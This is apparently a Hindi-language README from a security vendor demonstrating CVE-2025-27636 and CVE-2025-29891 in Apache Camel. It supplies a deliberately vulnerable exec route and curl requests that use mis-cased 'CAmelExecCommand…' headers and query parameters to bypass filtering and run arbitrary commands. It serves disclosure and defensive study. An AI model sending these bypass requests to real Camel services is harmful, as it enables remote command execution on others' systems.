
Apache Camel CVE के लिए प्रमाण-अवधारणा शोषण जो हेडर और पैरामीटर इंजेक्शन बाईपास के माध्यम से दूरस्थ कमांड निष्पादन सक्षम करता है। इसमें एक नमूना कमजोर अनुप्रयोग और शोषण वॉकथ्रू शामिल है।
CVE-2025–27636 और CVE-2025-29891 Apache Camel में ये कमज़ोरियाँ निम्नलिखित संस्करणों को प्रभावित करती हैं: 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3। इन कमज़ोरियों का शोषण करके हमलावर आंतरिक Camel विधियों को निष्पादित कर सकते हैं।
निम्नलिखित एक नमूना असुरक्षित अनुप्रयोग है जो Camel Exec घटक का उपयोग करता है, जिसका शोषण करके RCE प्राप्त किया जा सकता है। अन्य Camel घटकों का भी इसी तरह शोषण किया जा सकता है।
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
यह ऐप एक HTTP एंडपॉइंट उजागर करता है जो 'whoami' कमांड को निष्पादित करने और परिणाम क्लाइंट को लौटाने के लिए है। Exec Camel घटक कमांड को निष्पादित करने के लिए कॉन्फ़िगर किया गया है, जो कोड में स्थिर रूप से परिभाषित है।
// recieve request from client and pass it to the "Exec" camel component
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Received request from client")
// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Command Output: ${body}");
हालाँकि कमांड स्थिर है, हम इसे CamelExecCommandExecutable हेडर पास करके ओवरराइट कर सकते हैं, जो (जैसा कि दस्तावेज़ में निर्दिष्ट है) स्थिर URI को ओवरराइट करता है। Apache Camel को ऐसे हेडर को फ़िल्टर करना चाहिए, लेकिन केसिंग के गलत संचालन के कारण, हेडर 'CAmelExecCommandExecutable' पास करने से फ़िल्टर बायपास हो जाता है।
निम्नलिखित कमांड निष्पादित करने से स्थिर "whoami" कमांड ओवरराइड हो जाएगी और इसके बजाय एक मनमाना कमांड चलेगा:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
हम CamelExecCommandArgs हेडर निर्दिष्ट करके तर्क भी पास कर सकते हैं:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CAmelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
यदि हम 'सामान्य' हेडर पास करेंगे, तो हम देखेंगे कि शोषण विफल हो जाता है और स्थिर 'whoami' कमांड सामान्य रूप से निष्पादित होता है:
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
मूल रूप से, यह माना जाता था कि अनुरोध हेडर ही एकमात्र शोषण वेक्टर थे। हालाँकि, Akamai की सुरक्षा अनुसंधान टीम ने Apache Camel विकास टीम को एक अतिरिक्त वेक्टर की सूचना दी, जिसके कारण CVE-2025-29891 निर्धारित किया गया। यह समस्या CVE-2025-27636 के समान फ़िल्टरिंग दोष से उत्पन्न होती है, और अनुरोध पैरामीटर के माध्यम से आंतरिक विधियों को आमंत्रित करने में सक्षम बनाती है।
निम्नलिखित उदाहरण में, हम देख सकते हैं कि 'CAmelExecCommandExecutable' क्वेरी पैरामीटर निर्दिष्ट करने से मनमाना कमांड निष्पादन होता है - बिल्कुल मूल हेडर वेक्टर की तरह:
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
CVE-2025-27636 को ठीक करने के लिए लागू किया गया मूल पैच इस समस्या को भी हल करता है, इसलिए जो एप्लिकेशन Apache Camel के नवीनतम संस्करणों का उपयोग करते हैं, वे इस शोषण वेक्टर के प्रति असुरक्षित नहीं हैं।
Copyright 2025 Akamai Technologies Inc.
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.